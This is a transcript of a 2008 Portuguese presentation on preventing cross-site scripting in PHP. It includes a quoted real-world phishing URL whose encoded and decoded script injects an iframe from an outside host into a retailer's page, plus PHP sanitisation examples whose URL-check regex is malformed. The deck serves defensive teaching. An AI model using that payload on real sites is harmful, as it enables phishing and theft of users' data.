Tudo o que você precisa saber sobre o php7
 
DRYing the Skeleton: Reducing code repetition in ZF2
DRYing the Skeleton: Reducing code repetition in ZF2DRYing the Skeleton: Reducing code repetition in ZF2
DRYing the Skeleton: Reducing code repetition in ZF2
 
Php7 esta chgando! O que você precisa saber
Php7 esta chgando! O que você precisa saberPhp7 esta chgando! O que você precisa saber
Php7 esta chgando! O que você precisa saber
 
PHP e Open Source
PHP e Open SourcePHP e Open Source
PHP e Open Source
 
ABRAPHP: Conquistas e Realizações - 2012-2014
ABRAPHP: Conquistas e Realizações - 2012-2014ABRAPHP: Conquistas e Realizações - 2012-2014
ABRAPHP: Conquistas e Realizações - 2012-2014
 
Implementing security routines with zf2
Implementing security routines with zf2Implementing security routines with zf2
Implementing security routines with zf2
 
Desenvolvendo aplicações com ZF2
Desenvolvendo aplicações com ZF2Desenvolvendo aplicações com ZF2
Desenvolvendo aplicações com ZF2
 
Apresentacao frameworks
Apresentacao frameworksApresentacao frameworks
Apresentacao frameworks
 
Web: funcionamento, evolução e mercado
Web: funcionamento, evolução e mercadoWeb: funcionamento, evolução e mercado
Web: funcionamento, evolução e mercado
 
Otimizando a execução de código-fonte PHP
Otimizando a execução de código-fonte PHPOtimizando a execução de código-fonte PHP
Otimizando a execução de código-fonte PHP
 
Unbreakeable php
Unbreakeable phpUnbreakeable php
Unbreakeable php
 
PHP: Evolução
PHP: EvoluçãoPHP: Evolução
PHP: Evolução
 
ZF2 Menor, melhor e mais poderoso
ZF2 Menor, melhor e mais poderosoZF2 Menor, melhor e mais poderoso
ZF2 Menor, melhor e mais poderoso
 
Implementando rotinas de geolocalização
Implementando rotinas de geolocalizaçãoImplementando rotinas de geolocalização
Implementando rotinas de geolocalização
 
OSS, Comunidade, Eventos e como sua empresa ganha com isso
OSS, Comunidade, Eventos e como sua empresa ganha com issoOSS, Comunidade, Eventos e como sua empresa ganha com isso
OSS, Comunidade, Eventos e como sua empresa ganha com isso
 
OWASP: O que, Por que e Como
OWASP: O que, Por que e ComoOWASP: O que, Por que e Como
OWASP: O que, Por que e Como
 
Além da autenticação: Permissões de acesso com Zend Framework
Além da autenticação: Permissões de acesso com Zend FrameworkAlém da autenticação: Permissões de acesso com Zend Framework
Além da autenticação: Permissões de acesso com Zend Framework
 
Proposta de Boas Práticas e Padrões de Desenvolvimento Web
Proposta de Boas Práticas e Padrões de Desenvolvimento WebProposta de Boas Práticas e Padrões de Desenvolvimento Web
Proposta de Boas Práticas e Padrões de Desenvolvimento Web
 
PHPBR TestFest
PHPBR TestFestPHPBR TestFest
PHPBR TestFest
 

Prevenindo XSS: Execute apenas o SEU código

  • 1. Prevenindo XSS: Execute apenas o SEU código v. 1.0 - Abril/2008 2008 Er Galvão Abbott - http://www.galvao.eti.br/
  • 2. Prevenindo XSS: Execute apenas o SEU código Objetivo: Esta apresentação tem por objetivo detalhar o funcionamento de ataques à aplicações web usando-se a vulnerabilidade conhecida como XSS ou Cross-Site Scripting, além de apresentar técnicas que tornarão sua aplicação mais robusta e menos suscetível à este tipo de ataque. 2 2008 Er Galvão Abbott - http://www.galvao.eti.br/
  • 3. Prevenindo XSS: Execute apenas o SEU código O que é XSS: É uma vulnerabilidade, típicamente encontrada em aplicações web, que permite que código client-side seja injetado na aplicação e consequentemente processado na saída de informação (tipicamente, mas nem sempre, uma página HTML). É considerada uma vulnerabilidade gravíssima por três motivos: 1. É freqüentemente subestimada por se tratar de injeção de código client-side, ou seja, o servidor está “seguro”; 2. É, geralmente, de difícil detecção; 3. Permite ataques repetitivos, mesmo que a injeção de fato tenha sido realizada apenas uma vez. 3 2008 Er Galvão Abbott - http://www.galvao.eti.br/
  • 4. Prevenindo XSS: Execute apenas o SEU código Client-side, mas nem de longe inofensivas: As linguagens client-side são frequentemente consideradas inofensivas, indignas de preocupação com estilo / sintaxe e até mesmo lógica. Estas afirmações até seriam procedentes quando a web ainda estava em seus estágios iniciais, mas atualmente o “poder de fogo” dado à estas linguagens às tornam tão importantes quanto às que são executadas no servidor: 1. Alteração dinâmica do conteúdo que está sendo exibido: Manipulação do DOM 2. Criação e manipulação de requisições HTTP assíncronas: AJAX 3. Inclusão de conteúdo externo à página: iFrames, DIVs, Mashups 4 2008 Er Galvão Abbott - http://www.galvao.eti.br/
  • 5. Prevenindo XSS: Execute apenas o SEU código Difícil detecção: Como este tipo de ataque é originado em uma entrada de dados para a aplicação, somente no momento em que estes dados são “invocados” novamente é que o ataque pode ser “testemunhado”: Aplicação Página Browser BD 5 2008 Er Galvão Abbott - http://www.galvao.eti.br/
  • 6. Prevenindo XSS: Execute apenas o SEU código Ataques repetitivos: Como normalmente trabalhamos com persistência de dados, à cada exibição de um dado infectado o ataque se repete. Isto acontece pelo simples fato de que não importa quantas vezes o dado foi gravado, ele geralmente é lido mais de uma vez: Aplicação Página Browser Aplicação Página Browser Aplicação Página Browser BD BD BD 6 2008 Er Galvão Abbott - http://www.galvao.eti.br/
  • 7. Prevenindo XSS: Execute apenas o SEU código Os pontos fracos de uma aplicação vulnerável: Entrada de Dados <script>alert('Este código não deveria ser executado'): </script> <script>alert('Este código não deveria ser executado'): </script> Leitura de Dados Exibição de Dados <script>alert('Este código não deveria ser executado'): </script> Gravação de Dados 7 2008 Er Galvão Abbott - http://www.galvao.eti.br/
  • 8. Prevenindo XSS: Execute apenas o SEU código XSS na prática – O Cordeiro: URL recebida em um e-mail de phishing, na quinta-feira, 17 de abril de 2008: http://foo.bar.com.br/portal/meuCadastro.portal?_npfb=true& LoginControllerPortlet_actionOverride=%3Cs%63rip%74%3Ewindow. %6Fnl%6Fad=fun%63%74ion%28%29%7Bwi%74h%28do%63umen%74.body. s%74yle%29%7Bborder=%22none%22;margin=%220%200%200%200%22%7D; do%63umen%74.body.innerHTML=%27%3Ciframe%20sr%63=h%74%74p %3A%2F/2%303.%312%34.2%32.%314%33/java/index.h%74m%20s%74yle= border%3Anone;heigh%74%3A700;wid%74h%3A1000%3E%27%7D; do%63umen%74.%74i%74le=%27Foo%63Bar%27%3C/s%63rip%74%3E%3C textarea%3E 8 2008 Er Galvão Abbott - http://www.galvao.eti.br/
  • 9. Prevenindo XSS: Execute apenas o SEU código XSS na prática – O Lobo: “Tradução” do link recebido: http://foo.bar.com.br/portal/meuCadastro.portal?_npfb=true& LoginControllerPortlet_actionOverride=<script>window.onload=function(){ with(document.body.style){border=quot;nonequot;;margin=quot;0 0 0 0quot;}; document.body.innerHTML='<iframe src=http://000.000.00.000/java/index.htm style=border:none;height:700; width:1000>'};document.title='Foo Bar'</script> <textarea> 9 2008 Er Galvão Abbott - http://www.galvao.eti.br/
  • 10. Prevenindo XSS: Execute apenas o SEU código XSS na prática – O [...]: A resposta que recebi ao e-mail que enviei alertando a empresa: “[Bla bla bla] Considerando sua informação, esta promoção não é valida para o site Foo Bar. Informamos que e-mail falsos, utilizando a marca Foo Bar, tem circulado na Internet. [mais Bla bla bla inútil] Buscamos sempre encantar e satisfazer nossos clientes. Portanto, sua opinião é muito preciosa para nós, pois colabora para mantermos uma relação de confiança. [mais Bla bla bla inútil]” 10 2008 Er Galvão Abbott - http://www.galvao.eti.br/
  • 11. Prevenindo XSS: Execute apenas o SEU código Consequências: Outra razão pela qual a vulnerabilidade de uma aplicação à ataques XSS é considerada tão grave é a gama de possibilidades que o cracker tem à sua disposição: 1. Defacement – A simples substituição de conteúdo com o intuito de ridicularizar a empresa, o desenvolvedor ou ambos; 2. Phishing – O uso do website legítimo como forma de atrair o usuário para ambientes mais perigosos e consequentemente... 3. ... Roubo de dados – A obtenção de dados do usuário, que vão desde casos mais “leves”, como endereço de e-mail aos mais graves como número de cartão de crédito, conta bancária, etc... 4. Identity Theft – A obtenção da identificação do usuário na própria aplicação ou até mesmo em aplicações externas. 11 2008 Er Galvão Abbott - http://www.galvao.eti.br/
  • 12. Prevenindo XSS: Execute apenas o SEU código Mitos perpetuados: Um equívoco comum, tanto por parte dos usuários como por parte dos desenvolvedores, é dar um crédito excessivo à uma aplicação porque ela: 1. Foi desenvolvida na linguagem X 2. Foi desenvolvida pela empresa Y 3. Pertence à empresa Z Quanta ingenuidade: 1. Há menos de 15 dias atrás uma seção do portal brasileiro de uma das duas maiores marcas de refrigerante do mundo sofreu defacement, permanecendo desta forma por, pelo menos, 3 dias. 2. O exemplo de phishing que acabo de apresentar foi: ● Desenvolvido em uma tecnologia considerada além de qualquer dúvida; ● Pertence à uma das maiores redes de varejo do Brasil. Fica a pergunta: Se a aplicação é vulnerável à um ataque tão simples, à que mais ela é vulnerável? 12 2008 Er Galvão Abbott - http://www.galvao.eti.br/
  • 13. Prevenindo XSS: Execute apenas o SEU código XSS – Causas: Isto demonstra que o fato de uma aplicação web ser vulnerável, tem causas, antes de mais nada, não-técnicas: 1. Amadorismo no desenvolvimento da aplicação; 2. Descaso com a segurança do cliente; 3. Irresponsabilidade com as informações que foram confiadas à aplicação; 4. Absoluta falta de preocupação; 5. Falta de mentalidade de solucionar problemas. 6. Mitos perpetuados pelo próprio mercado! 13 2008 Er Galvão Abbott - http://www.galvao.eti.br/
  • 14. Prevenindo XSS: Execute apenas o SEU código XSS – Causas técnicas: O desenvolvedor de aplicações web continua, impressionantemente, confiando demasiadamente na sorte: 1. Qualquer dado informado para a aplicação é aceito, sem reservas, e replicado para todas as partes da mesma: A aplicação em si processa, o BD recebe, etc... 2. Qualquer dado é exibido, e consequentemente processado pelo browser, enviado em e-mails, publicado em relatórios, disponibilizado em feeds RSS, etc... 14 2008 Er Galvão Abbott - http://www.galvao.eti.br/
  • 15. Prevenindo XSS: Execute apenas o SEU código XSS – Soluções: Todo o desenvolvedor web deveria estar cansado de saber que: 1. JAMAIS deve-se aceitar uma entrada de dados, independente de origem, sem que estes dados passem por uma rotina de “higienização” 2. JAMAIS deve-se exibir dados, estejam eles no formato que estiverem, sem que eles sejam previamente tratados, mesmo que tenham sido filtrados na entrada! 15 2008 Er Galvão Abbott - http://www.galvao.eti.br/
  • 16. Prevenindo XSS: Execute apenas o SEU código XSS – Soluções Técnicas: O equívoco comum cometido ao se implementar uma técnica de filtragem de entrada de dados ou tratamento da saída é concentrar-se no que deve ser proibido. Isto causa diversos problemas, pois o desenvolvedor é obrigado à “prever” todo e qualquer tipo de dado potencialmente perigoso. Siga o caminho correto: processe o dado levando em conta o que é permitido: Você estará trabalhando com uma variedade geralmente menor de dados. Use soluções maduras, resista ao ímpeto de criar uma função custmizada: strip_tags() ● ● htmlentities() ● filter Certifique-se de que qualquer URL presente nos dados seja a URL de sua aplicação. Execute as rotinas de filtragem em qualquer entrada ou saída de dados. 16 2008 Er Galvão Abbott - http://www.galvao.eti.br/
  • 17. Prevenindo XSS: Execute apenas o SEU código XSS – Soluções Técnicas - Exemplos: <?php $conteudo = strip_tags($conteudo, '<font><b><i>'); ?> <?php $conteudo = filter_var($conteudo, FILTER_SANITIZE_STRING); ?> <?php $conteudo = htmlentities($conteudo, ENT_QUOTES); ?> <?php $url = quot;foo.bar.com.brquot;; if (preg_match('/http:///', $conteudo)) { if (!preg_match('/^http://(.)+' . addcslashes($url, '.') . '/', $conteudo)) { die(quot;nnErronnquot;); } } ?> 17 2008 Er Galvão Abbott - http://www.galvao.eti.br/
  • 18. Prevenindo XSS: Execute apenas o SEU código Sobre o autor: Er Galvão Abbott trabalha há mais de dez anos com programação de websites e sistemas corporativos com interface web. Autodidata, teve seu primeiro contato com a linguagem HTML em 1995, quando a internet estreava no Brasil. Além de lecionar em cursos, escrever artigos e ministrar palestras, tem se dedicado ao desenvolvimento de aplicações web, tendo nas linguagens PHP, Perl e JavaScript suas principais paixões. É o fundador e líder do UG PHP RS, além de trabalhar como desenvolvedor para um portal norte-americano de conteúdo. 18 2008 Er Galvão Abbott - http://www.galvao.eti.br/
  • 19. Prevenindo XSS: Execute apenas o SEU código Contatos: Contatos com o autor: Web: http://www.galvao.eti.br http://blog.galvao.eti.br/ http://www.phprs.com.br http://www.insightory.com E-mail: galvao@galvao.eti.br 19 2008 Er Galvão Abbott - http://www.galvao.eti.br/